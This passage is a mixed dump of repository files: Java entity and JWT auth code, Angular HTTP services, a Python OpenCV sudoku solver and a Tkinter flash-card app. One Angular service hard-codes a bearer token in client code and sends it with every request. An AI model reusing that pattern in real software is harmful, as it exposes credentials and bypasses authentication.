method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.id\n *\n * @param id the value for journal.id\n *\n * @mbg.generated\n */\n public void setId(Integer id) {\n this.id = id;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.title\n *\n * @return the value of journal.title\n *\n * @mbg.generated\n */\n public String getTitle() {\n return title;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.title\n *\n * @param title the value for journal.title\n *\n * @mbg.generated\n */\n public void setTitle(String title) {\n this.title = title == null ? null : title.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.journal_id\n *\n * @return the value of journal.journal_id\n *\n * @mbg.generated\n */\n public Integer getJournalId() {\n return journalId;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.journal_id\n *\n * @param journalId the value for journal.journal_id\n *\n * @mbg.generated\n */\n public void setJournalId(Integer journalId) {\n this.journalId = journalId;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.key_words\n *\n * @return the value of journal.key_words\n *\n * @mbg.generated\n */\n public String getKeyWords() {\n return keyWords;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.key_words\n *\n * @param keyWords the value for journal.key_words\n *\n * @mbg.generated\n */\n public void setKeyWords(String keyWords) {\n this.keyWords = keyWords == null ? null : keyWords.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.vol_cover_img\n *\n * @return the value of journal.vol_cover_img\n *\n * @mbg.generated\n */\n public String getVolCoverImg() {\n return volCoverImg;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.vol_cover_img\n *\n * @param volCoverImg the value for journal.vol_cover_img\n *\n * @mbg.generated\n */\n public void setVolCoverImg(String volCoverImg) {\n this.volCoverImg = volCoverImg == null ? null : volCoverImg.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.tracks\n *\n * @return the value of journal.tracks\n *\n * @mbg.generated\n */\n public String getTracks() {\n return tracks;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.tracks\n *\n * @param tracks the value for journal.tracks\n *\n * @mbg.generated\n */\n public void setTracks(String tracks) {\n this.tracks = tracks == null ? null : tracks.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.relative_vols\n *\n * @return the value of journal.relative_vols\n *\n * @mbg.generated\n */\n public String getRelativeVols() {\n return relativeVols;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.relative_vols\n *\n * @param relativeVols the value for journal.relative_vols\n *\n * @mbg.generated\n */\n public void setRelativeVols(String relativeVols) {\n this.relativeVols = relativeVols == null ? null : relativeVols.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.vol_date\n *\n * @return the value of journal.vol_date\n *\n * @mbg.generated\n */\n public String getVolDate() {\n return volDate;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.vol_date\n *\n * @param volDate the value for journal.vol_date\n *\n * @mbg.generated\n */\n public void setVolDate(String volDate) {\n this.volDate = volDate == null ? null : volDate.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.create_time\n *\n * @return the value of journal.create_time\n *\n * @mbg.generated\n */\n public Date getCreateTime() {\n return createTime;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.create_time\n *\n * @param createTime the value for journal.create_time\n *\n * @mbg.generated\n */\n public void setCreateTime(Date createTime) {\n this.createTime = createTime;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.vol_desc\n *\n * @return the value of journal.vol_desc\n *\n * @mbg.generated\n */\n public String getVolDesc() {\n return volDesc;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column journal.vol_desc\n *\n * @param volDesc the value for journal.vol_desc\n *\n * @mbg.generated\n */\n public void setVolDesc(String volDesc) {\n this.volDesc = volDesc == null ? null : volDesc.trim();\n }\n}" }, { "alpha_fraction": 0.6612529158592224, "alphanum_fraction": 0.6705336570739746, "avg_line_length": 21.6842098236084, "blob_id": "48a37105c43f509da0f8d71f770c828131479b34", "content_id": "641da8088c929511885b38ecb1698e13fe00e0f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 431, "license_type": "permissive", "max_line_length": 54, "num_lines": 19, "path": "/ionic-app/src/common/http.service.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {Injectable} from \"@angular/core\";\nimport {Http, Response} from \"@angular/http\";\nimport {Observable} from \"rxjs/Observable\";\nimport 'rxjs/Rx';\n\n@Injectable()\nexport class HttpService {\n\n private BASE_URL = \"http://localhost:8080/journal/\";\n\n constructor(public http: Http) {\n }\n\n get(url: string): Observable<any> {\n return this.http.get(this.BASE_URL + url)\n .map((res: Response) => res.json().content);\n }\n\n}\n" }, { "alpha_fraction": 0.740234375, "alphanum_fraction": 0.791015625, "avg_line_length": 22.272727966308594, "blob_id": "73a958901535177bc1f3993ca4f859c00014da08", "content_id": "af3296ca4d89aa5ecaa78de8e81e578143842cfe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 512, "license_type": "permissive", "max_line_length": 70, "num_lines": 22, "path": "/luoo/src/main/java/com/tneciv/poseidon/dto/TrackDto.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.dto;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.tneciv.poseidon.entity.Track;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.ToString;\n\nimport java.io.Serializable;\n\n/**\n * Created by Tneciv on 2017/3/30.\n */\n@Data\n@ToString\n@NoArgsConstructor\n@JsonIgnoreProperties({\"id\", \"name\", \"createTime\"})\npublic class TrackDto extends Track implements Serializable {\n\n private static final long serialVersionUID = 5189587397872626808L;\n\n}\n" }, { "alpha_fraction": 0.6465927362442017, "alphanum_fraction": 0.6553090214729309, "avg_line_length": 28.34883689880371, "blob_id": "227131b9f32c5f4c43ca49860118330d570cb211", "content_id": "d53c921d0843d6c0cce0cb1211f07f3edec78dfa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1262, "license_type": "permissive", "max_line_length": 70, "num_lines": 43, "path": "/frontend/src/app/common/http.service.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "/**\n * Created by Tneciv on 2017/4/13.\n */\nimport {Injectable} from \"@angular/core\";\nimport {Http, RequestOptions, Response, Headers} from \"@angular/http\";\nimport {Observable} from \"rxjs/Observable\";\nimport 'rxjs/Rx';\n\n@Injectable()\nexport class HttpService {\n\n private BASE_URL = \"http://localhost:8088/\";\n private options: RequestOptions;\n\n constructor(private http: Http) {\n let headers = new Headers();\n localStorage.setItem(\"Authorization\", \"Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNDkyOTUyMzE4fQ.r0n60AsW52WEVGkdc7LopENc5s7kuRJseITlw8nJLo4MmiE1RBhjzIIzuZhgZaaCcbjDpyyveafjTYEud2bWqA\");\n let item = localStorage.getItem(\"Authorization\");\n headers.append('Authorization', item);\n this.options = new RequestOptions({headers: headers});\n }\n\n get(url: string): Observable<any> {\n return this.http.get(this.BASE_URL + url, this.options)\n .map((res: Response) => res.json().content);\n }\n\n post(url: string, body: any): Observable<any> {\n return this.http.post(this.BASE_URL + url, body, this.options)\n .map((res: Response) => res.json());\n }\n\n put(url: string, body: any): Observable<any> {\n return this.http.put(this.BASE_URL + url, body, this.options)\n .map((res: Response) => res.json());\n }\n\n delete(url: string): Observable<any> {\n return this.http.delete(this.BASE_URL + url, this.options)\n .map((res: Response) => res.json());\n }\n\n}\n" }, { "alpha_fraction": 0.7360405921936035, "alphanum_fraction": 0.7360405921936035, "avg_line_length": 31.83333396911621, "blob_id": "c955be2b17e4242c8837776dffe57e38f9be0c6f", "content_id": "62867b990a2547f1085a1bf31ca892f8a41752d2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 197, "license_type": "permissive", "max_line_length": 62, "num_lines": 6, "path": "/frontend/src/app/common/routers.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {Routes} from '@angular/router';\nimport {JournalComponent} from '../journal/journal.component';\n\nexport const LUOO_APP_ROUTERS: Routes = [\n {path: 'journal', component: JournalComponent}\n]\n" }, { "alpha_fraction": 0.6647087335586548, "alphanum_fraction": 0.6671561598777771, "avg_line_length": 35.5, "blob_id": "6ddf6b76b425a183f7991d862060b9e152c7de29", "content_id": "2d001a093e6978513d7c50b2179144e46b0d4854", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2043, "license_type": "permissive", "max_line_length": 103, "num_lines": 56, "path": "/api-gateway/src/main/java/com/tneciv/poseidon/security/TokenAuthenticationService.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.security;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\nimport org.springframework.security.authentication.UsernamePasswordAuthenticationToken;\nimport org.springframework.security.core.Authentication;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.HashMap;\n\nimport static java.util.Collections.emptyList;\n\npublic class TokenAuthenticationService {\n\n public static void addAuthentication(HttpServletResponse res, String username) throws IOException {\n res.setCharacterEncoding(\"UTF-8\");\n res.setContentType(\"application/json; charset=utf-8\");\n \n String jwtToken = Jwts.builder()\n .setSubject(username)\n .setExpiration(new Date(System.currentTimeMillis() + WebSecurityConfig.EXPIRATIONTIME))\n .signWith(SignatureAlgorithm.HS512, WebSecurityConfig.SECRET)\n .compact();\n \n ObjectMapper mapper = new ObjectMapper();\n HashMap<String, String> hashMap = new HashMap<>();\n hashMap.put(\"username\", username);\n hashMap.put(\"token\", jwtToken);\n String json = mapper.writeValueAsString(hashMap);\n res.getWriter().append(json);\n }\n\n public static Authentication getAuthentication(HttpServletRequest request) {\n\n String token = request.getHeader(WebSecurityConfig.HEADER_STRING);\n\n if (token != null) {\n // parse the token.\n String user = Jwts.parser()\n .setSigningKey(WebSecurityConfig.SECRET)\n .parseClaimsJws(token.replace(WebSecurityConfig.TOKEN_PREFIX, \"\"))\n .getBody()\n .getSubject();\n\n return user != null ?\n new UsernamePasswordAuthenticationToken(user, null, emptyList()) :\n null;\n }\n\n return null;\n }\n}" } ]
30
Henchel-Santillan/rt-sudoku
https://github.com/Henchel-Santillan/rt-sudoku
27e83b2c70aeb78cb934bad2e8a132bc928c9182
239ca1ec9c005148cf518783e52648eca2f2db4b
2a477097af6e38df7c5d8a402882949258767d24
refs/heads/main
2023-07-13T18:51:53.189942
2021-08-24T19:09:37
2021-08-24T19:09:37
361,771,423
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5460454821586609, "alphanum_fraction": 0.5848681926727295, "avg_line_length": 29.428571701049805, "blob_id": "2a0237cce7588358822c1d766c12ba7ba06fad8b", "content_id": "993ca8ec3e9f0d7ff2ba0b2491c8456ac0c9befc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5538, "license_type": "permissive", "max_line_length": 109, "num_lines": 182, "path": "/src/imutil.py", "repo_name": "Henchel-Santillan/rt-sudoku", "src_encoding": "UTF-8", "text": "import os\n\nimport cv2\nimport numpy as np\n\n\nPOLY_APPROX_COEFFICIENT = 0.015\nARB_RHO_THRESH = 15\nARB_THETA_THRESH = 0.1\nDIM = 9\nPATH_TO_TEMP = r\"C:\\Users\\hench\\PycharmProjects\\rt-sudoku\\temp\"\n\n\ndef preprocess(image):\n \"\"\"\n Image preprocessing: greyscale, low-pass filter via Gaussian blur, adaptive thresholding\n \"\"\"\n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (5, 5), 0)\n threshold = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY_INV, 11, 7)\n return threshold\n\n\ndef order_corners(corners):\n \"\"\"\n Orders the corners in clockwise order beginning at the top right\n \"\"\"\n\n corners = [(corner[0][0], corner[0][1]) for corner in corners]\n return corners[1], corners[0], corners[3], corners[2]\n\n\ndef order_corners2(points):\n rect = np.zeros((4, 2), dtype=\"float32\")\n\n # Sum of (x, y) for each corner point: min = top-left, max = bottom-right\n s = points.sum(axis=1)\n rect[0] = points[np.argmin(s)]\n rect[2] = points[np.argmax(s)]\n\n # Difference of (x, y): min = top-right, max = bottom-left\n d = np.diff(points, axis=1)\n rect[1] = points[np.argmin(d)]\n rect[3] = points[np.argmax(d)]\n\n return rect\n\n\ndef perspective_transform(image, corners):\n \"\"\"\n Four-point transform, obtains a consistent order of the points and unpacks them individually\n \"\"\"\n\n ordered = order_corners(corners)\n top_l, top_r, bot_r, bot_l = ordered # 4-tuple unpacking\n\n # width of new image is the maximum distance between bot_l and bot_r or top_l and top_r\n width_bot = np.sqrt((bot_r[0] - bot_l[0]) ** 2 + (bot_r[1] - bot_l[1]) ** 2)\n width_top = np.sqrt((top_r[0] - top_l[0]) ** 2 + (top_r[1] - top_l[1]) ** 2)\n width = max(int(width_bot), int(width_top))\n\n # repeat the process for the new image height\n height_l = np.sqrt((top_r[0] - bot_r[0]) ** 2 + (top_r[1] - bot_r[1]) ** 2)\n height_r = np.sqrt((top_l[0] - bot_l[0]) ** 2 + (top_l[1] - bot_l[1]) ** 2)\n height = max(int(height_l), int(height_r))\n\n # construct an np array with top-down view in order\n dims = np.array([[0, 0],\n [width - 1, 0],\n [width - 1, height - 1],\n [0, height - 1]],\n np.float32)\n\n ordered = np.array(ordered, np.float32)\n matrix = cv2.getPerspectiveTransform(ordered, dims)\n\n return cv2.warpPerspective(image, matrix, (width, height))\n\n\ndef skew_angle(image):\n image_p = preprocess(image)\n image_p = cv2.bitwise_not(image_p)\n dilated = cv2.dilate(image_p, cv2.getStructuringElement(cv2.MORPH_RECT, (30, 5)))\n\n cs, _ = cv2.findContours(dilated, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n cs = sorted(cs, key=cv2.contourArea, reverse=True)\n\n min_rect = cv2.minAreaRect(cs[0])\n angle = min_rect[-1]\n if angle < -45:\n angle = 90 + angle\n return -1.0 * angle\n\n\ndef rotate_image(image, angle: float):\n image_c = image.copy()\n h, w = image_c.shape[:2]\n centre = (w // 2, h // 2)\n matrix = cv2.getRotationMatrix2D(centre, angle, 1.0)\n image_c = cv2.warpAffine(image_c, matrix, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)\n return image_c\n\n\ndef fix_image_skew(image):\n angle = skew_angle(image)\n return rotate_image(image, -1.0 * angle)\n\n\ndef find_contours(src, image_p):\n kernel = np.ones((3, 3), np.uint8)\n\n kernel[0][0] = 0\n kernel[0][2] = 0\n kernel[2][0] = 0\n kernel[2][2] = 0\n\n dilated_image = cv2.dilate(image_p, kernel)\n cs, _ = cv2.findContours(dilated_image.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cs = sorted(cs, key=cv2.contourArea, reverse=True)\n\n max_p, max_c = 0, None\n\n for c in cs:\n p = cv2.arcLength(c, True)\n poly_approx = cv2.approxPolyDP(c, POLY_APPROX_COEFFICIENT * p, True)\n if len(poly_approx) == 4 and p > max_p:\n max_p = p\n max_c = poly_approx\n\n if max_c is not None:\n return perspective_transform(src, max_c)\n return src\n\n\ndef find_lines(image_t):\n \"\"\"\n Uses the standard Hough transform + filtering to detect the grid lines of the puzzle\n \"\"\"\n gray = cv2.cvtColor(image_t, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 50, 150, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi / 180, 125)\n\n for line in lines:\n rho, theta = line[0]\n h, v = np.cos(theta), np.sin(theta)\n h_rho, v_rho = h * rho, v * rho\n x1, y1 = int(h_rho + 1000 * (-v)), int(v_rho + 1000 * h)\n x2, y2 = int(h_rho - 1000 * (-v)), int(v_rho - 1000 * h)\n\n cv2.line(image_t, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n return image_t\n\n\ndef sharpen(image):\n kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]])\n return cv2.filter2D(image, -1, kernel)\n\n\ndef partition(image):\n \"\"\"\n Manual partition algorithm. Should break image into N x N squares\n \"\"\"\n for f in os.listdir(PATH_TO_TEMP):\n os.remove(os.path.join(PATH_TO_TEMP, f))\n\n h, w = image.shape[:2]\n resized = cv2.resize(image.copy(), (min(w, h), min(w, h)))\n\n rdim = resized.shape[:2][0]\n box_dim = int(rdim / DIM)\n if box_dim != 0:\n x, y = 1, 1\n for r in range(0, rdim - box_dim, box_dim):\n for c in range(0, rdim - box_dim, box_dim):\n cell = resized[r + DIM: r + box_dim, c: c + box_dim]\n fname = str(x) + str(y) + \".png\"\n cv2.imwrite(os.path.join(PATH_TO_TEMP, fname), cell)\n y += 1\n y = 0\n x += 1\n" }, { "alpha_fraction": 0.594529390335083, "alphanum_fraction": 0.6283186078071594, "avg_line_length": 27.25, "blob_id": "59ca0991355cb609ed95dfa3c2c4911cd2782ab3", "content_id": "966b5bde5a32dc91ec9d96d4209d58d2cac6052b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1243, "license_type": "permissive", "max_line_length": 109, "num_lines": 44, "path": "/src/ocrutil.py", "repo_name": "Henchel-Santillan/rt-sudoku", "src_encoding": "UTF-8", "text": "import os\n\nimport cv2\nimport numpy as np\nimport pytesseract\n\nfrom imutil import DIM\n\n\npytesseract.pytesseract.tesseract_cmd = r\"C:/Program Files/Tesseract-OCR/tesseract.exe\"\n\n\ndef split_preprocess(image):\n imagec = image.copy()\n gray = cv2.cvtColor(imagec, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (3, 3), 0)\n _, thresh = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\n return 255 - cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=1)\n\n\ndef image_to_string2(image):\n digit_str = (pytesseract.image_to_string(image, lang=\"eng\",\n config=\"--psm 10 --oem 3 -c tessedit_char_whitelist=123456789\"))\n stripped = \"\"\n for s in digit_str.split():\n if s.isdecimal():\n stripped = s\n break\n return stripped\n\n\ndef images_to_array(path):\n digits = np.zeros((DIM, DIM), dtype=\"uint32\")\n\n for i, fname in enumerate(os.listdir(path)):\n\n invert = split_preprocess(cv2.imread(os.path.join(path, fname)))\n digit = image_to_string2(invert)\n if digit != \"\":\n digits[int(i / DIM), i % DIM] = int(digit)\n\n return digits\n" }, { "alpha_fraction": 0.5878564715385437, "alphanum_fraction": 0.6007359623908997, "avg_line_length": 21.64583396911621, "blob_id": "b96d2de2a6cf469263818c02a5128d425eda17fe", "content_id": "fde0370fcfff578c73b1a1d3a2cf6852030b02e7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1087, "license_type": "permissive", "max_line_length": 75, "num_lines": 48, "path": "/src/main.py", "repo_name": "Henchel-Santillan/rt-sudoku", "src_encoding": "UTF-8", "text": "import os\n\nimport cv2\nimport imutil as im\nimport ocrutil as ocr\nimport solver\n\n\nPATH_TO_RES = r\"C:/Users/hench/PycharmProjects/rt-sudoku/res/\"\nDEFAULT_FILENAME = \"frame_capture_0.png\"\n\n\ndef main():\n capture = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n cv2.namedWindow(\"Image Capture\")\n\n if not capture.isOpened():\n capture.open(0)\n\n while True:\n ret, frame = capture.read()\n cv2.imshow(\"Image Capture Window\", frame)\n\n image = None\n\n wkey = cv2.waitKey(1)\n if wkey & 0xFF == ord('q'):\n break\n elif wkey & 0xFF == ord('c'):\n image = frame\n cv2.imwrite(os.path.join(PATH_TO_RES, DEFAULT_FILENAME), frame)\n break\n\n capture.release()\n cv2.destroyAllWindows()\n\n if image is not None:\n preprocessed = im.preprocess(image)\n transformed = im.find_contours(image, preprocessed)\n im.partition(transformed)\n\n pl_board = ocr.images_to_array(PATH_TO_RES).tolist()\n solver.solve(pl_board)\n solver.draw(pl_board)\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.48629599809646606, "alphanum_fraction": 0.5003915429115295, "avg_line_length": 20.644067764282227, "blob_id": "af9dce3fdff9b7f14f85f8aa184e3239fe079bde", "content_id": "b9ac9438846a9ad435909a1048b705e993fa9be9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1277, "license_type": "permissive", "max_line_length": 60, "num_lines": 59, "path": "/src/solver.py", "repo_name": "Henchel-Santillan/rt-sudoku", "src_encoding": "UTF-8", "text": "def find_empty(board):\n size = len(board)\n\n for row in range(size):\n for col in range(size):\n if board[row][col] == 0:\n return row, col\n return None\n\n\ndef valid(board, val, pos):\n size = len(board)\n\n for col in range(size):\n if col != pos[1] and board[pos[0]][col] == val:\n return False\n\n for row in range(size):\n if row != pos[0] and board[row][pos[1]] == val:\n return False\n\n # get upper vertex of 3X3 submatrix\n uv_x, uv_y = 3 * int(pos[0] / 3), 3 * int(pos[1] / 3)\n\n for row in range(uv_x, uv_x + 3):\n for col in range(uv_y, uv_y + 3):\n if (row, col) != pos and board[row][col] == val:\n return False\n\n return True\n\n\ndef solve(board):\n empty = find_empty(board)\n\n if empty is None:\n return True\n else:\n row, col = empty\n\n for val in range(1, len(board) + 1):\n if valid(board, val, (row, col)):\n board[row][col] = val\n\n if solve(board):\n return True\n\n board[row][col] = 0\n\n return False\n\n\ndef draw(board):\n size = len(board)\n\n for row in range(size):\n for col in range(size):\n print(str(board[row][col]) + \" \", end=\"\")\n print()\n" }, { "alpha_fraction": 0.7644135355949402, "alphanum_fraction": 0.775347888469696, "avg_line_length": 53.4054069519043, "blob_id": "a4844a45e8d19db924489f8b78f322986b2ef265", "content_id": "647c1b9ae56fbb5a551c8b50fe633531b794b778", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2012, "license_type": "permissive", "max_line_length": 133, "num_lines": 37, "path": "/README.md", "repo_name": "Henchel-Santillan/rt-sudoku", "src_encoding": "UTF-8", "text": "# cv-sudoku\nSudoku solver using rudimentary computer vision and optical character recognition techniques. \nOpenCV learning project.\n\n## Process\nAn image is first captured via the user's default desktop camera. \nThe image is then taken into the script after resources are released for **preprocessing**. \n\n![Screenshot of sample sudoku puzzle](res/sudoku_grid.jpg)\n\nThe **preprocessing** step involves converting the raw image to grayscale, applying a low-pass filter\n(in this case, a `Gaussian blur`), and then applying adaptive thresholding to make the image easier to analyze.\n\n![Screenshot of preprocessed sudoku puzzle](res/preprocessed.png)\n\nThe next phase attempts to identify the corners of the largest contour in the image and perform a **perspective warp** \non the image. This is done by generating a kernel of ones (except the matrix corners, which are 0), performing a dilation\nmorphological operation, finding the contours using the kernel, and then reverse-ordering the contours based on area. Filtering each \ncontour based on length and size determines the largest one. The image is then downsampled and a top-down view \nof only the board is obtained.\n\n![Screenshot of top-down view of sudoku puzzle](res/transformed.png)\n\nThe downsampled image is then **partitioned**. The warped image is resized to fit a square and is divided into 9 X 9 images, \neach of which represent a cell in the board (some samples below).\n\n![Sample split cell (1)](res/48.png) ![Sample split cell (2)](res/58.png)\n![Sample split cell (3)](res/92.png) ![Sample split cell (4)](res/14.png)\n![Sample split cell (5)](res/16.png)\n\n\nUsing `PyTesseract`, each of the 81 split images is preprocessed and then analyzed via number whitelisting.\nIdentified numbers are put into an `ndarray` with shape (9, 9). Once all images have been passed, the numpy\narray is converted into a Python list. The `solver` attempts to determine a solution via backtracking, which is \nprinted to console.\n\n![Sample sudoku puzzle result](res/final.png)" } ]
5
clash402/flash-cards
https://github.com/clash402/flash-cards
9c3c85b4b20f41936a2c7d014c0b8fd1470934a4
6e27c2b32df44078f19466e59d1d767b8805f558
7d8cdcc1274dd3157323bb478c3a72598e82a6ac
refs/heads/master
2023-03-05T05:07:32.778078
2021-01-28T18:20:51
2021-01-28T18:20:51
333,847,140
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.616906464099884, "alphanum_fraction": 0.616906464099884, "avg_line_length": 28.263158798217773, "blob_id": "4bcaf13f6f68290e089143a29ed0e4a6629a5d3c", "content_id": "0e02040c136852ac9e83ab85580b126f34d7af50", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 556, "license_type": "permissive", "max_line_length": 62, "num_lines": 19, "path": "/data_manager.py", "repo_name": "clash402/flash-cards", "src_encoding": "UTF-8", "text": "import pandas\n\n\nclass DataManager:\n def __init__(self):\n self.PATH_WORDS = \"./data/french_words.csv\"\n self.PATH_WORDS_TO_LEARN = \"./data/words_to_learn.csv\"\n\n def load_data(self):\n try:\n data = pandas.read_csv(self.PATH_WORDS_TO_LEARN)\n except FileNotFoundError:\n data = pandas.read_csv(self.PATH_WORDS)\n\n return data.to_dict(orient=\"records\")\n\n def save_data(self, words_to_learn):\n data = pandas.DataFrame(words_to_learn)\n data.to_csv(self.PATH_WORDS_TO_LEARN, index=False)\n" }, { "alpha_fraction": 0.751655638217926, "alphanum_fraction": 0.7549669146537781, "avg_line_length": 29.200000762939453, "blob_id": "982b182f7062463e9913d5c947d211600bf2cc8c", "content_id": "3ecfe193288ea317bd8053879bf41c6ed16c2ec2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 302, "license_type": "permissive", "max_line_length": 60, "num_lines": 10, "path": "/README.md", "repo_name": "clash402/flash-cards", "src_encoding": "UTF-8", "text": "# Flash Cards\n\n## Summary\nLearn more efficiently with easy-to-use flash cards\n\n## Instructions\n- Interpret the French word on the front of the card\n- Wait 3 seconds for the card to flip to see if you're right\n- Click right or wrong to go to the next card\n- Repeat until you've learned all of the cards\n" }, { "alpha_fraction": 0.6168606281280518, "alphanum_fraction": 0.633217990398407, "avg_line_length": 34.32222366333008, "blob_id": "ae458480cf6c6128e6eab70ee21a164da2cb4328", "content_id": "b5dd25d5be7b7698c4145bf2befa1be9a5df7b19", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3179, "license_type": "permissive", "max_line_length": 109, "num_lines": 90, "path": "/ui.py", "repo_name": "clash402/flash-cards", "src_encoding": "UTF-8", "text": "from tkinter import *\nimport random\n\n\nclass UI(Tk):\n def __init__(self, data_manager):\n super().__init__()\n\n self.data_manager = data_manager\n\n self.BACKGROUND_COLOR = \"#B1DDC6\"\n\n self.words_to_learn = self.data_manager.load_data()\n self.current_card = random.choice(self.words_to_learn)\n self.timer = self.after(3000, self._flip_card)\n\n self.title(\"Flash Cards\")\n self.config(padx=56, pady=56, bg=self.BACKGROUND_COLOR)\n\n self._draw()\n self._go_to_next_card()\n\n # DRAW METHODS\n def _draw(self):\n self._draw_canvas()\n self._draw_card_front()\n self._draw_card_back()\n self._draw_wrong_button()\n self._draw_right_button()\n\n # Canvas\n def _draw_canvas(self):\n self.card_front_img = PhotoImage(file=\"./images/card_front.png\")\n self.card_back_img = PhotoImage(file=\"./images/card_back.png\")\n\n self.canvas = Canvas(width=800, height=526, bg=self.BACKGROUND_COLOR, highlightthickness=0)\n\n self.card_img = self.canvas.create_image(400, 263, image=self.card_front_img)\n self.card_title = self.canvas.create_text(400, 150, text=\"Title\", font=(\"Arial\", 40, \"italic\"))\n self.card_word = self.canvas.create_text(400, 263, text=\"word\", font=(\"Arial\", 60, \"bold\"))\n\n self.canvas.grid(column=0, row=0, columnspan=2)\n\n # Cards\n def _draw_card_front(self):\n self.canvas.itemconfig(self.card_img, image=self.card_front_img)\n self.canvas.itemconfig(self.card_title, text=\"French\", fill=\"black\")\n self.canvas.itemconfig(self.card_word, text=self.current_card[\"French\"], fill=\"black\")\n\n def _draw_card_back(self):\n self.canvas.itemconfig(self.card_img, image=self.card_back_img)\n self.canvas.itemconfig(self.card_title, text=\"English\", fill=\"white\")\n self.canvas.itemconfig(self.card_word, text=self.current_card[\"English\"], fill=\"white\")\n\n # Buttons\n def _draw_wrong_button(self):\n self.wrong_img = PhotoImage(file=\"./images/wrong.png\")\n wrong_button = Button(image=self.wrong_img, command=self._wrong_button_clicked, highlightthickness=0)\n wrong_button.grid(column=0, row=1)\n\n def _draw_right_button(self):\n self.right_img = PhotoImage(file=\"./images/right.png\")\n right_button = Button(image=self.right_img, command=self._right_button_clicked, highlightthickness=0)\n right_button.grid(column=1, row=1)\n\n # UPDATE METHODS\n def _update_words_to_learn(self):\n self.words_to_learn.remove(self.current_card)\n self.data_manager.save_data(self.words_to_learn)\n\n # CARD METHODS\n def _go_to_next_card(self):\n self.current_card = random.choice(self.words_to_learn)\n self._draw_card_front()\n self._countdown()\n\n def _flip_card(self):\n self._draw_card_back()\n\n def _countdown(self):\n self.timer = self.after_cancel(self.timer)\n self.timer = self.after(3000, self._flip_card)\n\n # EVENTS\n def 